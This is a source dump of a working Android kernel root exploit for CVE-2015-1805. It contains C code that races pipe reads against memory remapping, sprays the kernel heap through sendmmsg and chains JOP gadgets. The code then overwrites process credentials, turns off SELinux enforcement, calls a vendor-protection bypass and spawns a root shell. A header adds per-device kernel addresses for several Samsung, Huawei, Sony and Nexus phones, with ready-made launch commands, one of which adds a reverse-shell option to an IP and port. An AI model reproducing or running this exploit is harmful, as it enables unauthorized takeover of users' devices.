| } 344 | } 345 | sleep(3); 346 | g_stop_spray = 1; 347 | for (i = 0; i < SPRAY_THREAD_COUNT; ++i) { 348 | pthread_join(spray_thread[i], &val); 349 | } 350 | g_stop_spray = 0; 351 | return SUCCESSED; 352 | } 353 | static void* read_pipe_thread() { 354 | while (!g_is_stop) { 355 | errno = 0; 356 | if (readv(g_pipe_fd[0], g_iov_array, IOV_COUNT / 2 + 1) == -1) { 357 | if (errno != EFAULT) { 358 | exit(2); 359 | } 360 | } 361 | } 362 | pthread_exit(NULL); 363 | } 364 | 365 | int start_read_pipe() { 366 | pthread_t tid_readv; 367 | int err_ret; 368 | err_ret = pthread_create(&tid_readv, NULL, read_pipe_thread, NULL); 369 | if (err_ret) { 370 | log_dump(LOG_ERR, "start read pipe failed! error info : %s\n", 371 | strerror(err_ret)); 372 | return FAILED; 373 | } 374 | log_dump(LOG_DEBUG, "start read pipe success.\n"); 375 | return SUCCESSED; 376 | } 377 | 378 | /****************************************************************/ 379 | /* set up data */ 380 | /****************************************************************/ 381 | static int init_global_data() { 382 | // init pipe fd array 383 | memset(g_pipe_fd, 0, sizeof(g_pipe_fd)); 384 | // init iovec array 385 | memset(g_iov_array, 0, sizeof(g_iov_array)); 386 | // init write buffer 387 | memset(g_write_buf, 0, sizeof(g_write_buf)); 388 | // init overflow check flag 389 | g_overflow_flag = OVERFLOW_MAGIC; 390 | // init overflow check flag size 391 | g_overflow_size = 0; 392 | // init stop heap spray flag 393 | g_stop_spray = 0; 394 | // init stop EXP flag 395 | g_is_stop = 0; 396 | 397 | log_dump(LOG_DEBUG, "all global value initialize success.\n"); 398 | 399 | #if 1 400 | log_dump(LOG_DEBUG, "pipe array address is 0x%08x, array size is 0x%08x\n", 401 | &g_pipe_fd, sizeof(g_pipe_fd)); 402 | log_dump(LOG_DEBUG, "iovec array address is 0x%08x, array size is 0x%08x\n", 403 | &g_iov_array, sizeof(g_iov_array)); 404 | log_dump(LOG_DEBUG, "write buffer address is 0x%08x, buffer size is 0x%08x\n", 405 | &g_write_buf, sizeof(g_write_buf)); 406 | log_dump(LOG_DEBUG, 407 | "overflow check flag address is 0x%08x, flag size is 0x%08x\n", 408 | &g_overflow_flag, sizeof(g_overflow_flag)); 409 | log_dump(LOG_DEBUG, 410 | "overflow check flag size address is 0x%08x, size is 0x%08x\n", 411 | &g_overflow_size, sizeof(g_overflow_size)); 412 | log_dump(LOG_DEBUG, 413 | "heap spray stop flag address is 0x%08x, flag size is 0x%08x\n", 414 | &g_stop_spray, sizeof(g_stop_spray)); 415 | log_dump(LOG_DEBUG, "stop EXP flag size address is 0x%08x, flag is 0x%08x\n", 416 | &g_is_stop, sizeof(g_is_stop)); 417 | #endif 418 | 419 | return SUCCESSED; 420 | } 421 | 422 | static int init_jop_data() { 423 | memset(g_jop_buf, 0, sizeof(g_jop_buf)); 424 | 425 | int i; 426 | 427 | for (i = 0; i < 0x10; ++i) { 428 | if (j_jop1[i].index == 0 && j_jop1[i].addr == 0) 429 | break; 430 | if (j_jop1[i].addr == 0xaaaaaaaa) 431 | *((unsigned long *)(g_jop_buf + j_jop1[i].index)) = (unsigned long )g_jop_buf; 432 | else 433 | *((unsigned long *)(g_jop_buf + j_jop1[i].index)) = j_jop1[i].addr; 434 | } 435 | 436 | #if 1 437 | unsigned long value; 438 | log_dump(LOG_DEBUG, "g_jop_buf = %p\n", g_jop_buf); 439 | for (i = 0; i < sizeof(g_jop_buf)/sizeof(long); i++) { 440 | value = *((unsigned long *)&g_jop_buf + i); 441 | if(value) { 442 | log_dump(LOG_DEBUG, "g_jop_buf[0x%x] = 0x%lx\n", i * sizeof(long), value); 443 | } 444 | } 445 | #endif 446 | 447 | return SUCCESSED; 448 | } 449 | 450 | 451 | 452 | int setup_data(void* patch_address, long patch_value) { 453 | log_dump(LOG_DEBUG, "begin to setup EXP data.\n"); 454 | 455 | // initialize all global value 456 | if (init_global_data() == FAILED) { 457 | return FAILED; 458 | } 459 | 460 | // init jop buf 461 | if (init_jop_data() == FAILED) { 462 | return FAILED; 463 | } 464 | 465 | // setup pipe 466 | if (setup_pipe() == FAILED) { 467 | return FAILED; 468 | } 469 | // setup mapping address use to force pipe_read redo copy 470 | if (setup_mapping() == FAILED) { 471 | return FAILED; 472 | } 473 | // setup heap spray part of iovec array data 474 | if (setup_heap_spray(patch_address) == FAILED) { 475 | return FAILED; 476 | } 477 | // setup readv part of iovec array data 478 | if (setup_readv_iovs() == FAILED) { 479 | return FAILED; 480 | } 481 | // setup write buf for write to pipe 482 | if (setup_write_buffer(patch_value) == FAILED) { 483 | return FAILED; 484 | } 485 | return SUCCESSED; 486 | } 487 | 488 | static int obtain_root() { 489 | log_dump(LOG_DEBUG, "begin to obtain root, dangerous.\n"); 490 | int fd, ret; 491 | errno = 0; 492 | 493 | fd = open("/dev/ptmx", O_RDWR); 494 | if (fd < 0) { 495 | log_dump(LOG_ERR, "[-] open false, errno = %d, msg = %s\n", errno, 496 | strerror(errno)); 497 | return -1; 498 | } 499 | 500 | ret = ioctl(fd, (unsigned long)&g_jop_buf, 0x42); 501 | if (ret < 0) { 502 | log_dump(LOG_ERR, "[-] ioctl false, errno = %d, msg = %s\n", errno, 503 | strerror(errno)); 504 | } 505 | 506 | unsigned long addr, value = 0; 507 | 508 | addr = adp_ptmx_fops + adp_ptmx_ioctl_offset; 509 | ret = pipe_read_memory((void*)addr, (void*)&value, sizeof(value)); 510 | if (ret != sizeof(value)) { 511 | log_dump(LOG_ERR, "[-] patch thread_info->addr_limit false!\n"); 512 | return FAILED; 513 | } else { 514 | log_dump(LOG_DEBUG, "[+] patch thread_info->addr_limit success! 0x%lx = 0x%lx\n", addr, value); 515 | } 516 | 517 | log_dump(LOG_DEBUG, "[?] root run here!\n"); 518 | 519 | char random_name[0x10] = { 0 }; 520 | set_random_task_name(4, random_name); 521 | 522 | obtain_root_by_task_name(adp_init_task, random_name, adp_task_security_offset, adp_task_cred_uid_offset); 523 | 524 | patch_memory(1, p_patch); 525 | 526 | return SUCCESSED; 527 | } 528 | 529 | 530 | int trigger() { 531 | log_dump(LOG_DEBUG, "begin to trigger EXP.\n"); 532 | 533 | unsigned long patch_address, patch_value; 534 | 535 | patch_address = adp_ptmx_fops + adp_ptmx_ioctl_offset; 536 | patch_value = adp_before_kernel_sock_ioctl; 537 | 538 | if (setup_data((void*)patch_address, patch_value) == FAILED) { 539 | return FAILED; 540 | } 541 | 542 | // start map/unmap 543 | if (start_map_unmap() == FAILED) { 544 | return FAILED; 545 | } 546 | // start write pipe 547 | if (start_write_pipe() == FAILED) { 548 | return FAILED; 549 | } 550 | // start heap spray 551 | if (start_heap_spray() == FAILED) { 552 | return FAILED; 553 | } 554 | if (start_read_pipe() == FAILED) { 555 | return FAILED; 556 | } 557 | while (1) { 558 | if (g_overflow_flag != (unsigned long)OVERFLOW_MAGIC) { 559 | g_is_stop = 1; 560 | log_dump(LOG_DEBUG, "overflow success! overflow value is 0x%08lx\n", 561 | g_overflow_flag); 562 | break; 563 | } 564 | } 565 | return SUCCESSED; 566 | } 567 | 568 | int main(int argc, char * argv[]) { 569 | 570 | if(rootz_before(argc, argv)) { 571 | log_dump(LOG_ERR, "[-] rootz_before failed!\n"); 572 | return -1; 573 | } 574 | 575 | if(adp_sn != 121) { 576 | log_dump(LOG_ERR, "[-] adp sn error!\n"); 577 | return -1; 578 | } 579 | 580 | if (trigger() == FAILED) { 581 | return FAILED; 582 | } 583 | 584 | log_dump(LOG_NORMAL, "\t[*] start, pid: %d, tid: %d, uid: %d, gid: %d\n", getpid(), gettid(), getuid(), getgid()); 585 | 586 | if (obtain_root() == FAILED) { 587 | return FAILED; 588 | } 589 | 590 | log_dump(LOG_NORMAL, "\t[*] end, pid: %d, tid: %d, uid: %d, gid: %d\n", getpid(), gettid(), getuid(), getgid()); 591 | 592 | close(g_pipe_fd[0]); 593 | close(g_pipe_fd[1]); 594 | 595 | if(rootz_after()) { 596 | log_dump(LOG_ERR, "[-] rootz_after failed!\n"); 597 | } 598 | 599 | system("USER=ROOT /system/bin/sh"); 600 | 601 | fprintf(stderr, "end...\n"); 602 | 603 | while(1); 604 | 605 | return 0; 606 | } 607 | -------------------------------------------------------------------------------- /exploit/CVE-2015-1805/1021/rootz.h: -------------------------------------------------------------------------------- 1 | /* 2 | * CVE-2015-1805 exploit adp args 3 | * 4 | * Copyright (C) 2017 by idhyt3r@gmail.com 5 | * 6 | */ 7 | 8 | #include "param.h" 9 | 10 | /* 11 | 12 | 通用内核函数地址定义在 param.h 头文件中 13 | 14 | 针对不同手机适配需要特殊定义的,在该头文件中定义 15 | 16 | */ 17 | 18 | // #define TEST_FOR_TEST 19 | 20 | #ifdef TEST_FOR_TEST 21 | 22 | unsigned long adp_ptmx_fops = 0xc1237658; 23 | 24 | unsigned long adp_ptmx_fops_ioctl_offset = 0x20; 25 | 26 | unsigned long adp_ptmx_fops_ioctl = adp_ptmx_fops + adp_ptmx_fops_ioctl_offset; 27 | 28 | unsigned long adp_before_kernel_sock_ioctl = 0xc05cfc70; 29 | 30 | unsigned long adp_kernel_sock_ioctl = 0xC085ED40; 31 | 32 | unsigned long adp_ptmx_fops_ioctl_back_addr = 0xc027ac48; 33 | 34 | unsigned long adp_task_security_offset = 0x58; 35 | 36 | unsigned long adp_init_task = 0xc1042f38; 37 | 38 | // set_fs to patch thread_info->addr_limit 39 | struct jop_gadget j_jop1[0x10] = { 40 | {0xf8, 0xaaaaaaaa,}, // jop_buf 41 | {0xc, 0xC085ED40,}, // kernel_sock_ioctl 42 | {0x18, 0xaaaaaaaa,}, // jop_buf 43 | {0x24, 0xc027ac48,}, // ptmx_fops_ioctl_back_addr 44 | {0, 0,}, 45 | }; 46 | 47 | unsigned long adp_selinux_enforcing = 0xc122dae4; 48 | 49 | unsigned long adp_tty_ioctl = 0xC047247C; 50 | 51 | struct patch_gadget p_patch[0x10] = { 52 | {0xc122dae4, 0x00, sizeof(int)}, // selinux_enforcing 53 | {0xc1237658 + 0x20, 0xC047247C, sizeof(long)}, // restore ioctl 54 | {0, 0,}, 55 | }; 56 | 57 | #endif 58 | #if 0 59 | 60 | 适配信息 61 | 62 | /* SM-A700S */ 63 | 64 | unsigned long adp_ptmx_fops = 0xc1378310 65 | unsigned long adp_ptmx_fops_ioctl_offset = 0x20; 66 | unsigned long adp_init_task = 0xc1125f40; c1125f40 67 | unsigned long adp_task_security_offset = 0x5c; 68 | 69 | unsigned long adp_before_kernel_sock_ioctl = 0xC0542330 70 | 71 | unsigned long adp_kernel_sock_ioctl = 0xc08bd9bc 72 | 73 | unsigned long adp_selinux_enforcing = 0xc12c38e0 74 | unsigned long adp_tty_ioctl = 0xc04338f0 75 | unsigned long adp_task_cred_uid_offset = 0x4; 76 | 77 | unsigned long adp_ptmx_fops_ioctl_back_addr = 0xC0202D70 78 | 79 | [+] kernel version: 80 | root@a7ltelgt:/ # cat /proc/version 81 | Linux version 3.10.49-6845695 (dpi@SWDD6719) (gcc version 4.8 (GCC) ) #1 SMP PREEMPT Thu Feb 18 16:30:46 KST 2016 82 | 83 | 84 | ./data/local/tmp/rootz "n=1021&k=[101=0xc1378310;102=0x20;104=0xc1125f40;105=0x5c;106=0xc0542330;109=0x4;&j=[0x10c=0xaaaaaaaa;0xc=0xc08bd9bc;0x18=0xaaaaaaaa;0x24=0xC0202D70;0x0=0x0;]&p=[0xc12c38e0=0x0=0x4;0xc1378330=0xc04338f0=0x4;]" 85 | 86 | 87 | 88 | 89 | 90 | /* HW MT7*/ 91 | 92 | unsigned long adp_ptmx_fops = 0xc15b0454; 93 | 94 | unsigned long adp_ptmx_fops_ioctl_offset = 0x20; 95 | 96 | unsigned long adp_ptmx_fops_ioctl = adp_ptmx_fops + adp_ptmx_fops_ioctl_offset; 97 | 98 | unsigned long adp_before_kernel_sock_ioctl = 0xC09BF2D0; 99 | 100 | unsigned long adp_kernel_sock_ioctl = 0xC0DDB6B0; 101 | 102 | unsigned long adp_ptmx_fops_ioctl_back_addr = 0xC0702CE0; 103 | 104 | unsigned long adp_task_security_offset = 0x68; 105 | 106 | unsigned long adp_init_task = 0xC139AAE0; 107 | 108 | unsigned long adp_selinux_enforcing = 0xc15a7990; 109 | 110 | unsigned long adp_tty_ioctl = 0xc091eb2c; 111 | 112 | unsigned long adp_task_cred_uid_offset = 0x10; 113 | 114 | unsigned long adp_ro_secure_debuggable = 0xc13b554c; 115 | 116 | unsigned long adp_ro_secure_debuggable_static = 0xc15a955c; 117 | 118 | [+] kernel version: Linux version 3.10.86-g76ac748 (android@localhost) (gcc version 4.7.3 20121205 (prerelease) (crosstool-NG linaro-1.13.1-4.7-2012.12-20121214 - Linaro GCC 2012.12) ) #2 SMP PREEMPT Mon Apr 4 05:03:33 CST 2016 119 | 120 | ./data/local/tmp/rootz "n=1021&k=[101=0xc15b0454;102=0x20;104=0xC139AAE0;105=0x68;106=0xC09BF2D0;109=0x10;801=0xc13b554c;802=0xc15a955c;]&j=[0x9c=0xaaaaaaaa;0xc=0xC0DDB6B0;0x18=0xaaaaaaaa;0x24=0xC0702CE0;0x0=0x0;]&p=[0xc15a7990=0x0=0x4;0xc15b0474=0xc091eb2c=0x4;]" 121 | 122 | 123 | /* sony c6903 */ 124 | 125 | unsigned long adp_before_kernel_sock_ioctl = 0xC0500D7C; 126 | 127 | unsigned long adp_ptmx_fops_ioctl_back_addr = 0xC026E5A0; 128 | 129 | Linux version 3.4.0-perf-g2deedd1 (BuildUser@BuildHost) (gcc version 4.8 (GCC) ) #1 SMP PREEMPT Thu Aug 20 14:52:56 2015 130 | 131 | ./data/local/tmp/rootz "n=1021&k=[101=0xc10ecb90;102=0x20;104=0xc0f1f700;105=0x58;106=0xC0500D7C;109=0x4;]&j=[0xf8=0xaaaaaaaa;0xc=0xC0787914;0x18=0xaaaaaaaa;0x24=0xC026E5A0;0x0=0x0;]&p=[0xc10dfc98=0x0=0x4;0xc10ecbb0=0xc04185b4=0x4;]" 132 | 133 | 134 | 135 | /* nexus 5 */ 136 | Linux version 3.4.0-gbebb36b (android-build@vpbs1.mtv.corp.google.com) (gcc version 4.7 (GCC) ) #1 SMP PREEMPT Tue Mar 10 18:17:45 UTC 2015 137 | 138 | ./data/local/tmp/rootz "n=1021&k=[101=0xc1237658;102=0x20;104=0xc1042f38;105=0x58;106=0xc05cfc70;109=0x4;]&j=[0xf8=0xaaaaaaaa;0xc=0xC085ED40;0x18=0xaaaaaaaa;0x24=0xc027ac48;0x0=0x0;]&p=[0xc122dae4=0x0=0x4;0xc1237678=0xC047247C=0x4;]" 139 | if test reverse shell: 140 | + "&r=[901=/data/local/tmp/install.sh;902=192.168.199.213;903=8989;]" 141 | 142 | 143 | 144 | 145 | 146 | #endif 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | -------------------------------------------------------------------------------- /exploit/CVE-2015-1805/1022/rootz.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | /* ------------------ root define begin ------------------- */ 19 | #include "param.h" 20 | #include "rootz.h" 21 | #include "log.h" 22 | #include "silly.h" 23 | #include "fn.h" 24 | #include "shell.h" 25 | #include "roothelper.h" 26 | #include "dict.h" 27 | 28 | /* adp args */ 29 | static int adp_sn; 30 | static unsigned long adp_init_task; 31 | static unsigned long adp_task_security_offset; 32 | static unsigned long adp_task_cred_uid_offset; 33 | 34 | static unsigned long adp_ptmx_fops; 35 | static unsigned long adp_ptmx_kfunc_offset; 36 | 37 | static unsigned long adp_kernel_sock_ioctl; 38 | 39 | /* 40 | 初始化适配参数 41 | */ 42 | 43 | extern dict_t *transl_param_dict; 44 | 45 | static int get_adp_ulval(char *name, unsigned long *value) { 46 | 47 | return dict_get_ulval(transl_param_dict, name, value); 48 | 49 | } 50 | 51 | static int get_adp_str(char *name, char *value, int len) { 52 | 53 | return dict_get_str(transl_param_dict, name, value, len); 54 | } 55 | 56 | static int rootz_before(int argc, char *argv[]) { 57 | // 设置日志路径, 不设置打印到控制台 58 | // set_logfile_path("/data/local/tmp/8890.log"); 59 | // 适配参数初始化 60 | if (parse_args(argc, argv) < 0) { 61 | log_dump(LOG_ERR, "[-] parse_args failed\n"); 62 | return -1; 63 | } 64 | 65 | if(!transl_param_dict) return -1; 66 | 67 | char *var; 68 | 69 | /* root before */ 70 | if (!dict_get(transl_param_dict, n_sn, (void **)&var)) { 71 | log_dump(LOG_ERR, "[-] get n_sn failed\n"); 72 | return -1; 73 | } 74 | adp_sn = atoi(var); 75 | log_dump(LOG_DEBUG, "adp_sn = %d\n", adp_sn); 76 | 77 | if(!get_adp_ulval(k_init_task, &adp_init_task)) return -1; 78 | if(!get_adp_ulval(k_task_security_offset, &adp_task_security_offset)) return -1; 79 | if(!get_adp_ulval(k_task_cred_uid_offset, &adp_task_cred_uid_offset)) return -1; 80 | if(!get_adp_ulval(k_ptmx_fops, &adp_ptmx_fops)) return -1; 81 | if(!get_adp_ulval(k_ptmx_kfunc_offset, &adp_ptmx_kfunc_offset)) return -1; 82 | if(!get_adp_ulval(k_kernel_sock_ioctl, &adp_kernel_sock_ioctl)) return -1; 83 | 84 | #if 1 85 | printf(" adp_init_task = 0x%lx\n", adp_init_task); 86 | printf(" adp_task_security_offset = 0x%lx\n", adp_task_security_offset); 87 | printf(" adp_task_cred_uid_offset = 0x%lx\n", adp_task_cred_uid_offset); 88 | printf(" adp_ptmx_fops = 0x%lx\n", adp_ptmx_fops); 89 | printf(" adp_ptmx_kfunc_offset = 0x%lx\n", adp_ptmx_kfunc_offset); 90 | printf(" adp_kernel_sock_ioctl = 0x%lx\n", adp_kernel_sock_ioctl); 91 | 92 | #endif 93 | 94 | 95 | return 0; 96 | } 97 | 98 | /* 99 | 提权过后的操作 100 | */ 101 | 102 | static int rootz_after() { 103 | 104 | if(transl_param_dict) { 105 | vendor_protect_bypass(transl_param_dict); 106 | 107 | silly_everything_after_root(transl_param_dict); 108 | } 109 | 110 | 111 | if(transl_param_dict) { 112 | dict_destory(transl_param_dict); 113 | free(transl_param_dict); 114 | } 115 | 116 | return 0; 117 | } 118 | 119 | /* ------------------ root define end ------------------- */ 120 | 121 | #define IOV_COUNT (0x200) 122 | #define MAP_SIZE (PAGE_SIZE * 2) 123 | #define MAP_BASE (void*)(0x40000000) 124 | #define OVERFLOW_MAGIC 0xFDCEACBB 125 | #define PIPE_SIZE (PAGE_SIZE * 32) 126 | #define SPRAY_THREAD_COUNT (300) // (1000) 127 | #define FAILED -1 128 | #define SUCCESSED 0 129 | 130 | static int g_pipe_fd[2]; 131 | static struct iovec g_iov_array[IOV_COUNT]; 132 | static volatile unsigned long g_overflow_flag; 133 | static volatile size_t g_overflow_size; 134 | static volatile int g_is_stop; 135 | static char g_write_buf[PAGE_SIZE]; 136 | static int g_stop_spray; 137 | static struct policydb* g_ppolicydb; 138 | static struct sidtab* g_psidtab; 139 | static char* log_file; 140 | 141 | static unsigned long g_jop_buf = 0x0c000000; 142 | static int g_mmap_size = 0x1000; 143 | 144 | /****************************************************************/ 145 | /* set up environment */ 146 | /****************************************************************/ 147 | static int set_fd_limit() { 148 | struct rlimit rlim; 149 | int ret; 150 | errno = 0; 151 | if ((ret = getrlimit(RLIMIT_NOFILE, &rlim))) { 152 | log_dump(LOG_ERR, "get fd limit failed! error info: %s\n", strerror(errno)); 153 | return ret; 154 | } 155 | log_dump(LOG_DEBUG, "changing fd limit from 0x%08x to 0x%08x success.\n", 156 | rlim.rlim_cur, rlim.rlim_max); 157 | rlim.rlim_cur = rlim.rlim_max; 158 | errno = 0; 159 | if ((ret = setrlimit(RLIMIT_NOFILE, &rlim))) { 160 | log_dump(LOG_ERR, "set file description limit failed! error info : %s\n", 161 | strerror(errno)); 162 | } 163 | return ret; 164 | } 165 | static int set_process_priority() { 166 | int ret; 167 | log_dump(LOG_DEBUG, "changing process priority to highest success.\n"); 168 | errno = 0; 169 | if ((ret = setpriority(PRIO_PROCESS, 0, -20)) == -1) { 170 | log_dump(LOG_ERR, "set process priority failed! error info: %s\n", 171 | strerror(errno)); 172 | } 173 | return ret; 174 | } 175 | 176 | static int setup_pipe() { 177 | errno = 0; 178 | if (pipe(g_pipe_fd)) { 179 | log_dump(LOG_ERR, "create pipe failed! error info : %s\n", strerror(errno)); 180 | return FAILED; 181 | } 182 | errno = 0; 183 | if (fcntl(g_pipe_fd[1], F_SETPIPE_SZ, PIPE_SIZE) != PIPE_SIZE) { 184 | log_dump(LOG_ERR, "set pipe size failed! error info : %s\n", 185 | strerror(errno)); 186 | return FAILED; 187 | } 188 | log_dump(LOG_DEBUG, "setup pipe success.\n"); 189 | 190 | return SUCCESSED; 191 | } 192 | static int setup_mapping() { 193 | errno = 0; 194 | if (mmap(MAP_BASE, MAP_SIZE, PROT_EXEC | PROT_READ | PROT_WRITE, 195 | MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1) { 196 | log_dump(LOG_ERR, "mmap at %p failed! error info : %s\n", MAP_BASE, 197 | strerror(errno)); 198 | return FAILED; 199 | } 200 | log_dump(LOG_DEBUG, "setup mapping success.\n"); 201 | 202 | return SUCCESSED; 203 | } 204 | static int setup_heap_spray(void* patch_address) { 205 | int flag_index; 206 | int patch_index; 207 | int flag_len; 208 | int patch_len; 209 | flag_index = ((IOV_COUNT / 2) + 1); 210 | g_iov_array[flag_index].iov_base = (void*)&g_overflow_flag; 211 | flag_len = sizeof(g_overflow_flag); 212 | g_iov_array[flag_index].iov_len = flag_len; 213 | patch_index = ((IOV_COUNT / 2) + 2); 214 | g_iov_array[patch_index].iov_base = patch_address; 215 | patch_len = sizeof(patch_address); 216 | g_iov_array[patch_index].iov_len = patch_len; 217 | g_overflow_size = flag_len + patch_len; 218 | log_dump(LOG_DEBUG, "setup heap spray part of iovec array success.\n"); 219 | 220 | log_dump(LOG_DEBUG, 221 | "iovec[%d].iov_base = 0x%p, iovec[%d].iov_len = 0x%08lx\n", 222 | flag_index, g_iov_array[flag_index].iov_base, flag_index, 223 | g_iov_array[flag_index].iov_len); 224 | log_dump(LOG_DEBUG, 225 | "iovec[%d].iov_base = 0x%p, iovec[%d].iov_len = 0x%08lx\n", 226 | patch_index, g_iov_array[patch_index].iov_base, patch_index, 227 | g_iov_array[patch_index].iov_len); 228 | 229 | return SUCCESSED; 230 | } 231 | static int setup_readv_iovs() { 232 | g_iov_array[0].iov_base = &g_write_buf; 233 | g_iov_array[0].iov_len = g_overflow_size; 234 | g_iov_array[1].iov_base = MAP_BASE; 235 | g_iov_array[1].iov_len = MAP_SIZE - g_iov_array[0].iov_len; 236 | log_dump(LOG_DEBUG, "setup readv part of iovec array success.\n"); 237 | 238 | log_dump(LOG_DEBUG, "iovec[0].iov_base = 0x%p, iovec[0].iov_len = 0x%08lx\n", 239 | g_iov_array[0].iov_base, g_iov_array[0].iov_len); 240 | log_dump(LOG_DEBUG, "iovec[1].iov_base = 0x%p, iovec[1].iov_len = 0x%08lx\n", 241 | g_iov_array[1].iov_base, g_iov_array[1].iov_len); 242 | 243 | return SUCCESSED; 244 | } 245 | static int setup_write_buffer(long patch_value) { 246 | unsigned long i; 247 | for (i = 0; i < (sizeof(g_write_buf) / sizeof(g_overflow_flag)); i++) { 248 | ((unsigned long*)g_write_buf)[i] = patch_value; 249 | } 250 | log_dump(LOG_DEBUG, "setup write pipe buffer success.\n"); 251 | 252 | log_dump(LOG_DEBUG, "buffer address = 0x%p, size = 0x%08lx\n", &g_write_buf, 253 | sizeof(g_write_buf)); 254 | 255 | return SUCCESSED; 256 | } 257 | 258 | /****************************************************************/ 259 | /* trigger */ 260 | /****************************************************************/ 261 | static void* map_unmap_thread() { 262 | while (!g_is_stop) { 263 | munmap(MAP_BASE, MAP_SIZE); 264 | mmap(MAP_BASE, MAP_SIZE, PROT_EXEC | PROT_READ | PROT_WRITE, 265 | MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); 266 | usleep(50); 267 | } 268 | pthread_exit(NULL); 269 | } 270 | static int start_map_unmap() { 271 | pthread_t tid_unmap; 272 | int err_ret = 0; 273 | err_ret = pthread_create(&tid_unmap, NULL, map_unmap_thread, NULL); 274 | if (err_ret) { 275 | log_dump(LOG_ERR, "start map/unmap failed! error info : %s\n", 276 | strerror(err_ret)); 277 | return FAILED; 278 | } 279 | log_dump(LOG_DEBUG, "start map/unmap success.\n"); 280 | return SUCCESSED; 281 | } 282 | static void* write_pipe_thread() { 283 | while (!g_is_stop) { 284 | errno = 0; 285 | write(g_pipe_fd[1], g_write_buf, sizeof(g_write_buf)); 286 | } 287 | pthread_exit(NULL); 288 | } 289 | int start_write_pipe() { 290 | pthread_t tid_write; 291 | int err_ret = 0; 292 | err_ret = pthread_create(&tid_write, NULL, write_pipe_thread, NULL); 293 | if (err_ret) { 294 | log_dump(LOG_ERR, "start write pipe failed! error info : %s\n", 295 | strerror(err_ret)); 296 | return FAILED; 297 | } 298 | log_dump(LOG_DEBUG, "start write pipe success.\n"); 299 | return SUCCESSED; 300 | } 301 | static void* heap_spray_thread() { 302 | int sock_fd; 303 | struct mmsghdr msg; 304 | struct sockaddr_in sock_addr; 305 | int tid; 306 | memset(&msg, 0, sizeof(msg)); 307 | memset(&sock_addr, 0, sizeof(sock_addr)); 308 | sock_addr.sin_family = AF_INET; 309 | sock_addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 310 | sock_addr.sin_port = htons(10000); 311 | tid = gettid(); 312 | errno = 0; 313 | sock_fd = socket(AF_INET, SOCK_DGRAM, 0); 314 | if (sock_fd == -1) { 315 | pthread_exit((void*)FAILED); 316 | } 317 | errno = 0; 318 | if (connect(sock_fd, (const struct sockaddr*)&sock_addr, sizeof(sock_addr)) == 319 | -1) { 320 | pthread_exit((void*)FAILED); 321 | } 322 | msg.msg_hdr.msg_iov = g_iov_array; 323 | msg.msg_hdr.msg_iovlen = IOV_COUNT; 324 | msg.msg_hdr.msg_control = g_iov_array; 325 | msg.msg_hdr.msg_controllen = IOV_COUNT * sizeof(struct iovec); 326 | while (!g_stop_spray) { 327 | syscall(__NR_sendmmsg, sock_fd, &msg, 1, 0); 328 | } 329 | close(sock_fd); 330 | pthread_exit(NULL); 331 | } 332 | static int start_heap_spray() { 333 | log_dump(LOG_DEBUG, "start heap spray success.\n"); 334 | pthread_t spray_thread[SPRAY_THREAD_COUNT]; 335 | void* val; 336 | int err_ret = 0; 337 | int i; 338 | for (i = 0; i < SPRAY_THREAD_COUNT; ++i) { 339 | err_ret = pthread_create(&spray_thread[i], NULL, heap_spray_thread, NULL); 340 | if (err_ret) { 341 | log_dump(LOG_ERR, 342 | "create heap spray for %d times failed! error info : %s\n", i, 343 | strerror(err_ret)); 344 | return FAILED; 345 | } 346 | } 347 | sleep(3); 348 | g_stop_spray = 1; 349 | for (i = 0; i < SPRAY_THREAD_COUNT; ++i) { 350 | pthread_join(spray_thread[i], &val); 351 | } 352 | g_stop_spray = 0; 353 | return SUCCESSED; 354 | } 355 | static void* read_pipe_thread() { 356 | while (!g_is_stop) { 357 | errno = 0; 358 | if (readv(g_pipe_fd[0], g_iov_array, IOV_COUNT / 2 + 1) == -1) { 359 | if (errno != EFAULT) { 360 | exit(2); 361 | } 362 | } 363 | } 364 | pthread_exit(NULL); 365 | } 366 | 367 | int start_read_pipe() { 368 | pthread_t tid_readv; 369 | int err_ret; 370 | err_ret = pthread_create(&tid_readv, NULL, read_pipe_thread, NULL); 371 | if (err_ret) { 372 | log_dump(LOG_ERR, "start read pipe failed! error info : %s\n", 373 | strerror(err_ret)); 374 | return FAILED; 375 | } 376 | log_dump(LOG_DEBUG, "start read pipe success.\n"); 377 | return SUCCESSED; 378 | } 379 | 380 | /****************************************************************/ 381 | /* set up data */ 382 | /****************************************************************/ 383 | static int init_global_data() { 384 | // init pipe fd array 385 | memset(g_pipe_fd, 0, sizeof(g_pipe_fd)); 386 | // init iovec array 387 | memset(g_iov_array, 0, sizeof(g_iov_array)); 388 | // init write buffer 389 | memset(g_write_buf, 0, sizeof(g_write_buf)); 390 | // init overflow check flag 391 | g_overflow_flag = OVERFLOW_MAGIC; 392 | // init overflow check flag size 393 | g_overflow_size = 0; 394 | // init stop heap spray flag 395 | g_stop_spray = 0; 396 | // init stop EXP flag 397 | g_is_stop = 0; 398 | 399 | log_dump(LOG_DEBUG, "all global value initialize success.\n"); 400 | 401 | #if 1 402 | log_dump(LOG_DEBUG, "pipe array address is 0x%08x, array size is 0x%08x\n", 403 | &g_pipe_fd, sizeof(g_pipe_fd)); 404 | log_dump(LOG_DEBUG, "iovec array address is 0x%08x, array size is 0x%08x\n", 405 | &g_iov_array, sizeof(g_iov_array)); 406 | log_dump(LOG_DEBUG, "write buffer address is 0x%08x, buffer size is 0x%08x\n", 407 | &g_write_buf, sizeof(g_write_buf)); 408 | log_dump(LOG_DEBUG, 409 | "overflow check flag address is 0x%08x, flag size is 0x%08x\n", 410 | &g_overflow_flag, sizeof(g_overflow_flag)); 411 | log_dump(LOG_DEBUG, 412 | "overflow check flag size address is 0x%08x, size is 0x%08x\n", 413 | &g_overflow_size, sizeof(g_overflow_size)); 414 | log_dump(LOG_DEBUG, 415 | "heap spray stop flag address is 0x%08x, flag size is 0x%08x\n", 416 | &g_stop_spray, sizeof(g_stop_spray)); 417 | log_dump(LOG_DEBUG, "stop EXP flag size address is 0x%08x, flag is 0x%08x\n", 418 | &g_is_stop, sizeof(g_is_stop)); 419 | #endif 420 | 421 | return SUCCESSED; 422 | } 423 | 424 | static int init_jop_data() { 425 | int i; 